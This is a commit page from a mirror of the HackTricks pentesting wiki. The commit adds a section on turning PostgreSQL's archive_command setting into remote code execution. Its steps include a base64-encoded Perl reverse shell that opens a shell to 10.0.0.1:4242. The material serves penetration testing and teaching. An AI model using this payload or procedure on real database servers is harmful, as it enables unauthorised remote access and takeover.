Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-15 01:17:36 +00:00
Code Issues Projects Releases Packages Wiki Activity

Merge pull request #574 from kohshunyuan/postgres-config-wal

Browse source 
Add archive_command to "PostgreSQL configuration file RCE" section
This commit is contained in:
Carlos Polop 2023-01-13 14:03:36 +01:00 committed by GitHub
commit 6d8cdaddcb
No known key found for this signature in database
GPG key ID: 4AEE18F83AFDEB23
1 changed files with 16 additions and 0 deletions
Show stats Download patch file Download diff file Expand all files Collapse all files

16
network-services-pentesting/pentesting-postgresql.md
View file

@ -385,6 +385,8 @@ The **configuration file** of postgresql is **writable** by the **postgres user*
![](<../.gitbook/assets/image (303).png>)
#### **RCE with ssl_passphrase_command**
The configuration file have some interesting attributes that can lead to RCE:
* `ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'` Path to the private key of the database
@ -407,6 +409,20 @@ While testing this I noticed that this will only work if the **private key file
**More** [**information about this technique here**](https://pulsesecurity.co.nz/articles/postgres-sqli)**.**
#### **RCE with archive_command**
Another attribute in the configuration file that is exploitable is `archive_command`.
For this to work, the `archive_mode` setting has to be `'on'` or `'always'`. If that is true, then we could overwrite the command in `archive_command` and force it to execute via the WAL (write-ahead logging) operations.
The general steps are:
1. Check whether archive mode is enabled: `SELECT current_setting('archive_mode')`
2. Overwrite `archive_command` with the payload. For eg, a reverse shell: `archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'`
3. Reload the config: `SELECT pg_reload_conf()`
4. Force the WAL operation to run, which will call the archive command: `SELECT pg_switch_wal()` or `SELECT pg_switch_xlog()` for some Postgres versions
**More** [**information about this config and about WAL here**](https://medium.com/dont-code-me-on-that/postgres-sql-injection-to-rce-with-archive-command-c8ce955cf3d3)**.**
## **Postgres Privesc**
### CREATEROLE Privesc